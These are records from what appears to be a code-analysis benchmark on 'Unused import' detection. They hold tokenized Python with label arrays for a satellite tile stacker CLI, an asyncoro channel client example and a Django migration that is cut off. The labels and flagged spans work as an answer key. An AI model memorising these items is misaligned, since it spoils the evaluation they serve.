"\\u\\u\\uDEDENT\\u\\u\\u_", "args_", ",_", "others_", "=_", "arg", "\\u", "parser_", "._", "parse", "\\u", "know", "n", "\\u", "args_", "(_", "args", "List_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "intersect", "ing", "Tiles", "_", "=_", "self_", "._", "get", "\\u", "intersect", "ing", "\\u", "tiles_", "(_", "args_", "._", "geom", "etry", "\\u", "wkt_", ",_", "args_", "._", "geom", "etry", "\\u", "srid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "x_", ",_", "y_", ",_", "id_", ")_", "in_", "intersect", "ing", "Tiles", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "._", "file_", "._", "write_", "(_", "'%", "s", " ", "%", "s", "\\\\", "n", "'_", "%_", "(_", "x_", ",_", "y_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ERR", "\\u", "NO", "\\u", "ERROR_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "CLI", "\\u", "Utilities_", "(_", "Stack", "er_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "command", "\\u", "get", "\\u", "tile", "\\u", "paths_", "(_", "self_", ",_", "args", "List_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg", "\\u", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "add", "\\u", "help_", "=_", "False_", ",_", "description_", "=_", "'", "get", "\\u", "tile", "\\u", "path", "s", " ", "is", " ", "used", " ", "for", " ", "return", "ing", " ", "the", " ", "set", " ", "of", " ", "file", " ", "path", "s", " ", "tha", "t", " ", "match", " ", "a", " ", "partic", "ular", " ", "stack", "er", " ", "query", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "x", "'_", ",_", "'--", "x", "\\u", "index", "'_", ",_", "dest_", "=_", "'", "x", "\\u", "index", "'_", ",_", "required_", "=_", "True_", ",_", "help_", "=_", "'", "x", "-", "index", " ", "of", " ", "tile", " ", "to", " ", "be", " ", "stacked", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "y", "'_", ",_", "'--", "y", "\\u", "index", "'_", ",_", "dest_", "=_", "'", "y", "\\u", "index", "'_", ",_", "required_", "=_", "True_", ",_", "help_", "=_", "'", "y", "-", "index", " ", "of", " ", "tile", " ", "to", " ", "be", " ", "stacked", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "s", "'_", ",_", "'--", "start", "\\u", "date", "'_", ",_", "dest_", "=_", "'", "start", "\\u", "date", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "Start", " ", "Date", " ", "in", " ", "dd", "/", "mm", "/", "yyyy", " ", "format", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "e", "'_", ",_", "'--", "end", "\\u", "date", "'_", ",_", "dest_", "=_", "'", "end", "\\u", "date", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "End", " ", "Date", " ", "in", " ", "dd", "/", "mm", "/", "yyyy", " ", "format", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "a", "'_", ",_", "'--", "satellite", "'_", ",_", "dest_", "=_", "'", "satellite", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "Short", " ", "Sat", "elli", "te", " ", "name", " ", "(", "e", ".", "g", ".", " ", "LS", "5", ",", " ", "LS", "7", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "n", "'_", ",_", "'--", "sensor", "'_", ",_", "dest_", "=_", "'", "sensor", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "Sen", "sor", " ", "Name", " ", "(", "e", ".", "g", ".", " ", "TM", ",", " ", "ET", "M", "+)'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "t", "'_", ",_", "'--", "tile", "\\u", "type", "'_", ",_", "dest_", "=_", "'", "default", "\\u", "tile", "\\u", "type", "\\u", "id", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "Til", "e", " ", "type", " ", "ID", " ", "of", " ", "tiles", " ", "to", " ", "be", " ", "stacked", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "p", "'_", ",_", "'--", "path", "'_", ",_", "dest_", "=_", "'", "path", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "WR", "S", " ", "path", " ", "of", " ", "tiles", " ", "to", " ", "be", " ", "stacked", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "r", "'_", ",_", "'--", "row", "'_", ",_", "dest_", "=_", "'", "row", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "WR", "S", " ", "row", " ", "of", " ", "tiles", " ", "to", " ", "be", " ", "stacked", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "l", "'_", ",_", "'--", "process", "ing", "\\u", "level", "'_", ",_", "dest_", "=_", "'", "process", "ing", "\\u", "level", "'_", ",_", "required_", "=_", "False_", ",_", "default_", "=_", "None_", ",_", "help_", "=_", "'", "The", " ", "process", "ing", " ", "level", " ", "to", " ", "specifica", "ll", "y", " ", "request", " ", "(", "eg", " ", "NB", "AR", ",", " ", "ORT", "HO", ")", " ", "default", "s", " ", "to", " ", "printin", "g", " ", "every", "thing", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'--", "file", "'_", ",_", "nargs_", "=_", "\"?\"_", ",_", "dest_", "=_", "\"", "file", "\"_", ",_", "type_", "=_", "argparse_", "._", "File", "Type_", "(_", "'", "w", "'_", ")_", ",_", "default_", "=_", "sys_", "._", "stdout_", ",_", "help_", "=_", "\"", "A", " ", "file", " ", "to", " ", "write", " ", "the", " ", "results", " ", "to", " ", "(", "default", " ", "is", " ", "to", " ", "print", " ", "to", " ", "stdout", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "args", "List_", "is_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg", "\\u", "parser_", "._", "print", "\\u", "help_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "ERR", "\\u", "BAD", "\\u", "PARAMS_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args_", ",_", "others_", "=_", "arg", "\\u", "parser_", "._", "parse", "\\u", "know", "n", "\\u", "args_", "(_", "args", "List_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "date2", "datetime_", "(_", "input", "\\u", "date_", ",_", "time", "\\u", "offset_", "=_", "time_", "._", "min_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "input", "\\u", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "datetime_", "._", "combine_", "(_", "input", "\\u", "date_", ",_", "time", "\\u", "offset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "At", " ", "this", " ", "point", " ", "we", " ", "just", " ", "reus", "e", " ", "the", " ", "stack", "er", " ", "API", " ", "for", " ", "creati", "ng", " ", "a", " ", "stack", " ", "of", " ", "tiles_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stack", "\\u", "info", "\\u", "dict_", "=_", "self_", "._", "stack", "\\u", "tile_", "(_", "x", "\\u", "index_", "=_", "int_", "(_", "args_", "._", "x", "\\u", "index_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "y", "\\u", "index_", "=_", "int_", "(_", "args_", "._", "y", "\\u", "index_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stack", "\\u", "output", "\\u", "dir_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "datetime_", "=_", "date2", "datetime_", "(_", "args_", "._", "start", "\\u", "date_", ",_", "time_", "._", "min_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "end", "\\u", "datetime_", "=_", "date2", "datetime_", "(_", "args_", "._", "end", "\\u", "date_", ",_", "time_", "._", "max_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "satellite", "_", "=_", "args_", "._", "satellite", "_", ",_", "sensor_", "=_", "args_", "._", "sensor_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tile", "\\u", "type", "\\u", "id_", "=_", "args_", "._", "default", "\\u", "tile", "\\u", "type", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "args_", "._", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "row_", "=_", "args_", "._", "row_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "create", "\\u", "band", "\\u", "stacks_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dis", "rega", "rd", "\\u", "incomplete", "\\u", "data_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "process", "ing", "\\u", "level_", "in_", "sorted_", "(_", "stack", "\\u", "info", "\\u", "dict_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "args_", "._", "process", "ing", "\\u", "level_", "is_", "None_", "or_", "args_", "._", "process", "ing", "\\u", "level_", "==_", "process", "ing", "\\u", "level_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "start", "\\u", "date", "\\u", "time_", "in_", "stack", "\\u", "info", "\\u", "dict_", "[_", "process", "ing", "\\u", "level_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "args_", "._", "file_", "._", "write_", "(_", "'%", "s", "\\\\", "n", "'_", "%_", "stack", "\\u", "info", "\\u", "dict_", "[_", "process", "ing", "\\u", "level_", "]_", "[_", "start", "\\u", "date", "\\u", "time_", "]_", "[_", "'", "tile", "\\u", "path", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ERR", "\\u", "NO", "\\u", "ERROR_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
pgiri/asyncoro/examples/remote_channel_client.py
[ { "content": "#!/usr/bin/env python\n\n# example where client and server communicate through a channel.\n# use with its server 'remote_channel_server.py'\n\nimport sys, logging\n# import disasyncoro to use distributed version of AsynCoro\nimport asyncoro.disasyncoro as asyncoro\n\n\n\nasyncoro.logger.setLevel(logging.DEBUG)\n# scheduler = asyncoro.AsynCoro()\nasyncoro.Coro(receiver_proc2)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def sender_proc(rchannel, coro=None):\n # send messages to channel; 'deliver' is used with n=2, so\n # messages will not be sent until both receivers subscribe to\n # channel\n for x in range(10):\n msg = {'msg':'message %s' % x, 'sender':coro}\n n = yield rchannel.deliver(msg, n=2)\n print('delivered to: %s' % n)\n rchannel.send(None)", "metadata": "root.sender_proc", "header": "['module', '___EOS___']", "index": 9 }, { "content": "def receiver_proc2(coro=None):\n # if server is in remote network, add it explicitly\n # yield scheduler.peer('remote.peer.ip', stream_send=True)\n # get reference to remote channel in server\n rchannel = yield asyncoro.Channel.locate('2clients')\n # this coro subscribes to the channel, so gets messages to server\n # channel\n print('server is at %s' % rchannel.location)\n if (yield rchannel.subscribe(coro)) != 0:\n raise Exception('subscription failed')\n asyncoro.Coro(sender_proc, rchannel)\n while True:\n msg = yield coro.receive()\n if msg is None:\n break\n print('Received \"%s\" from %s at %s' % \\\n (msg['msg'], msg['sender'].name, msg['sender'].location))\n yield rchannel.unsubscribe(coro)", "metadata": "root.receiver_proc2", "header": "['module', '___EOS___']", "index": 19 } ]
[ { "span": "import sys, logging", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 19 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "example", " ", "where", " ", "client", " ", "and", " ", "server", " ", "communi", "cate", " ", "through", " ", "a", " ", "channel", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "use", " ", "with", " ", "its", " ", "server", " ", "'", "remote", "\\u", "channel", "\\u", "server", ".", "py", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", ",_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "import", " ", "disas", "ync", "oro", " ", "to", " ", "use", " ", "distributed", " ", "version", " ", "of", " ", "As", "yn", "Cor", "o_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "async", "oro", "_", "._", "disas", "ync", "oro", "_", "as_", "async", "oro", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "async", "oro", "_", "._", "logger_", "._", "set", "Level_", "(_", "logging_", "._", "DEBUG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "schedule", "r", " ", "=", " ", "async", "oro", ".", "As", "yn", "Cor", "o", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "async", "oro", "_", "._", "Cor", "o_", "(_", "receive", "r", "\\u", "proc", "2_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "sender", "\\u", "proc_", "(_", "rch", "anne", "l_", ",_", "coro_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "send", " ", "message", "s", " ", "to", " ", "channel", ";", " ", "'", "deliver", "'", " ", "is", " ", "used", " ", "with", " ", "n", "=", "2", ",", " ", "so_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "message", "s", " ", "will", " ", "not", " ", "be", " ", "sent", " ", "unti", "l", " ", "bot", "h", " ", "receive", "rs", " ", "subscribe", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "channel_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "range_", "(_", "10_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "{_", "'", "msg", "'_", ":_", "'", "message", " ", "%", "s", "'_", "%_", "x_", ",_", "'", "sender", "'_", ":_", "coro_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "yield_", "rch", "anne", "l_", "._", "deliver", "_", "(_", "msg_", ",_", "n_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "deliver", "ed", " ", "to", ":", " ", "%", "s", "'_", "%_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rch", "anne", "l_", "._", "send_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "receive", "r", "\\u", "proc", "2_", "(_", "coro_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "server", " ", "is", " ", "in", " ", "remote", " ", "network", ",", " ", "add", " ", "it", " ", "explicit", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "yield", " ", "schedule", "r", ".", "peer", "('", "remote", ".", "peer", ".", "ip", "',", " ", "stream", "\\u", "send", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "reference", " ", "to", " ", "remote", " ", "channel", " ", "in", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rch", "anne", "l_", "=_", "yield_", "async", "oro", "_", "._", "Channel_", "._", "locate_", "(_", "'", "2c", "lien", "ts", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "coro", " ", "subscribe", "s", " ", "to", " ", "the", " ", "channel", ",", " ", "so", " ", "gets", " ", "message", "s", " ", "to", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "channel_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "server", " ", "is", " ", "at", " ", "%", "s", "'_", "%_", "rch", "anne", "l_", "._", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "yield_", "rch", "anne", "l_", "._", "subscribe_", "(_", "coro_", ")_", ")_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "subscript", "ion", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "async", "oro", "_", "._", "Cor", "o_", "(_", "sender", "\\u", "proc_", ",_", "rch", "anne", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "yield_", "coro_", "._", "receive_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "Receive", "d", " ", "\"%", "s", "\"", " ", "from", " ", "%", "s", " ", "at", " ", "%", "s", "'_", "%_", "(_", "msg_", "[_", "'", "msg", "'_", "]_", ",_", "msg_", "[_", "'", "sender", "'_", "]_", "._", "name_", ",_", "msg_", "[_", "'", "sender", "'_", "]_", "._", "location_", ")_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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
zorna/zorna/zorna/faq/migrations/0001_initial.py
[ { "content": "# encoding: utf-8\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n 'auth.group': {\n 'Meta': {'object_name': 'Group'},\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),\n 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'})\n },\n 'auth.permission': {\n 'Meta': {'ordering': \"('content_type__app_label', 'content_type__model', 'codename')\", 'unique_together': \"(('content_type', 'codename'),)\", 'object_name': 'Permission'},\n 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['contenttypes.ContentType']\"}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})\n },\n 'auth.user': {\n 'Meta': {'object_name': 'User'},\n 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),\n 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Group']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),\n 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})\n },\n 'contenttypes.contenttype': {\n 'Meta': {'ordering': \"('name',)\", 'unique_together': \"(('app_label', 'model'),)\", 'object_name': 'ContentType', 'db_table': \"'django_content_type'\"},\n 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})\n },\n 'faq.faq': {\n 'Meta': {'ordering': \"['name']\", 'object_name': 'Faq', 'db_table': \"'zorna_faq'\"},\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'entity_content_type_faq_faq_related'\", 'null': 'True', 'to': \"orm['contenttypes.ContentType']\"}),\n 'enabled': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'modifier': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'user_modifier_faq_faq_related'\", 'null': 'True', 'to': \"orm['auth.User']\"}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '150'}),\n 'owner': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'user_owner_faq_faq_related'\", 'null': 'True', 'to': \"orm['auth.User']\"}),\n 'site': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'site_owner_faq_faq_related'\", 'null': 'True', 'to': \"orm['sites.Site']\"}),\n 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '150', 'db_index': 'True'}),\n 'time_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),\n 'time_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'auto_now_add': 'True', 'blank': 'True'})\n },\n 'faq.faqcategory': {\n 